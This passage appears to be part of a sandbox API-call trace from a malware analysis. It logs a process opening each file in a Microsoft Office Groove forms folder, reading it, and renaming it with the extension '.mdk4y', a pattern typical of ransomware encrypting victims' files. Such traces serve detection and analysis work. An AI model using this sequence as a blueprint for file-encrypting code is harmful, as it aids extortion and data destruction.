lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x193c, lpOverlapped=0x0) returned 1 [0216.888] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829211800000) returned 1 [0216.888] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829211800000) returned 1 [0216.889] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_texturedblue.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_TexturedBlue.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_texturedblue.gif.mdk4y")) returned 1 [0216.905] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.905] AreFileApisANSI () returned 1 [0216.905] GetACP () returned 0x4e4 [0216.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_VelvetRose.gif", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_VelvetRose.gifif", lpUsedDefaultChar=0x37dda8) returned 17 [0216.905] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_velvetrose.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829217500000) returned 1 [0216.945] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x3c64, lpOverlapped=0x0) returned 1 [0216.947] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829217700000) returned 1 [0216.947] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829217700000) returned 1 [0216.947] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_velvetrose.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_VelvetRose.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_velvetrose.gif.mdk4y")) returned 1 [0216.949] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.949] AreFileApisANSI () returned 1 [0216.949] GetACP () returned 0x4e4 [0216.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_left.gif", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_left.gifif", lpUsedDefaultChar=0x37dda8) returned 15 [0216.949] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829218100000) returned 1 [0216.951] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x171, lpOverlapped=0x0) returned 1 [0216.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829218200000) returned 1 [0216.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829218200000) returned 1 [0216.952] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left.gif.mdk4y")) returned 1 [0216.955] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.955] AreFileApisANSI () returned 1 [0216.955] GetACP () returned 0x4e4 [0216.955] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_left_over.gif", cchWideChar=20, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_left_over.gife.gif", lpUsedDefaultChar=0x37dda8) returned 20 [0216.955] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left_over.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829218500000) returned 1 [0216.955] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x176, lpOverlapped=0x0) returned 1 [0216.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829218600000) returned 1 [0216.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829218600000) returned 1 [0216.957] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left_over.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left_over.gif.mdk4y")) returned 1 [0216.957] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.957] AreFileApisANSI () returned 1 [0216.957] GetACP () returned 0x4e4 [0216.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_mid.gif", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_mid.gifer.gif", lpUsedDefaultChar=0x37dda8) returned 14 [0216.957] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829218800000) returned 1 [0216.958] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xb5, lpOverlapped=0x0) returned 1 [0216.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829218900000) returned 1 [0216.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829218900000) returned 1 [0216.959] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid.gif.mdk4y")) returned 1 [0216.960] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.960] AreFileApisANSI () returned 1 [0216.960] GetACP () returned 0x4e4 [0216.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_mid_over.gif", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_mid_over.giff", lpUsedDefaultChar=0x37dda8) returned 19 [0216.960] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid_over.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.961] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829219100000) returned 1 [0216.961] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xb7, lpOverlapped=0x0) returned 1 [0216.962] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829219200000) returned 1 [0216.962] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829219200000) returned 1 [0216.962] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid_over.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid_over.gif.mdk4y")) returned 1 [0216.964] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.964] AreFileApisANSI () returned 1 [0216.964] GetACP () returned 0x4e4 [0216.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_right.gif", cchWideChar=16, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_right.gifgif", lpUsedDefaultChar=0x37dda8) returned 16 [0216.964] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.964] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829219400000) returned 1 [0216.965] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x171, lpOverlapped=0x0) returned 1 [0216.965] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829219500000) returned 1 [0216.965] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829219500000) returned 1 [0216.966] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right.gif.mdk4y")) returned 1 [0216.966] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.966] AreFileApisANSI () returned 1 [0216.966] GetACP () returned 0x4e4 [0216.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_right_over.gif", cchWideChar=21, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_right_over.gif.gif", lpUsedDefaultChar=0x37dda8) returned 21 [0216.967] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right_over.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.967] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829219700000) returned 1 [0216.967] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x244, lpOverlapped=0x0) returned 1 [0216.987] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829221700000) returned 1 [0216.987] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829221700000) returned 1 [0216.988] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right_over.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right_over.gif.mdk4y")) returned 1 [0216.990] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.990] AreFileApisANSI () returned 1 [0216.990] GetACP () returned 0x4e4 [0216.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CALENDAR.GIF", cchWideChar=12, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="CALENDAR.GIF_over.gif", lpUsedDefaultChar=0x37dda8) returned 12 [0216.990] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\CALENDAR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\calendar.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829222100000) returned 1 [0216.991] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x383, lpOverlapped=0x0) returned 1 [0217.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829224100000) returned 1 [0217.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829224100000) returned 1 [0217.012] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\CALENDAR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\calendar.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\CALENDAR.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\calendar.gif.mdk4y")) returned 1 [0217.027] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0217.027] AreFileApisANSI () returned 1 [0217.027] GetACP () returned 0x4e4 [0217.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DELETE.GIF", cchWideChar=10, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="DELETE.GIFIF", lpUsedDefaultChar=0x37dda8) returned 10 [0217.028] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\DELETE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\delete.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0217.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829225900000) returned 1 [0217.029] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x271, lpOverlapped=0x0) returned 1 [0217.030] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829226000000) returned 1 [0217.030] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829226000000) returned 1 [0217.030] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\DELETE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\delete.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\DELETE.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\delete.gif.mdk4y")) returned 1 [0217.038] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0217.038] AreFileApisANSI () returned 1 [0217.038] GetACP () returned 0x4e4 [0217.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ERROR.GIF", cchWideChar=9, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ERROR.GIFF", lpUsedDefaultChar=0x37dda8) returned 9 [0217.039] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ERROR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\error.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0217.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829232700000) returned 1 [0217.097] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x369, lpOverlapped=0x0) returned 1 [0217.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829232800000) returned 1 [0217.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829232800000) returned 1 [0217.099] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ERROR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\error.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ERROR.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\error.gif.mdk4y")) returned 1 [0217.102] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0217.102] AreFileApisANSI () returned 1 [0217.102] GetACP () returned 0x4e4 [0217.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FORM.ICO", cchWideChar=8, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FORM.ICOF", lpUsedDefaultChar=0x37dda8) returned 8 [0217.102] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0217.103] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829233400000) returned 1 [0217.104] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x13e, lpOverlapped=0x0) returned 1 [0217.104] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829233400000) returned 1 [0217.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829233500000) returned 1 [0217.105] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.ico.mdk4y")) returned 1 [0217.106] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0217.106] AreFileApisANSI () returned 1 [0217.106] GetACP () returned 0x4e4 [0217.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FORM.JS", cchWideChar=7, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FORM.JSO", lpUsedDefaultChar=0x37dda8) returned 7 [0217.107] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0217.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829233700000) returned 1 [0217.107] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1388d, lpOverlapped=0x0) returned 1 [0217.131] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829236100000) returned 1 [0217.131] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829236100000) returned 1 [0217.132] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.JS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.js.mdk4y")) returned 1 [0217.135] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0217.135] AreFileApisANSI () returned 1 [0217.135] GetACP () returned 0x4e4 [0217.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsBlankPage.html", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsBlankPage.htmlif", lpUsedDefaultChar=0x37dda8) returned 19 [0217.135] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsblankpage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0217.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829236600000) returned 1 [0217.137] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x45d, lpOverlapped=0x0) returned 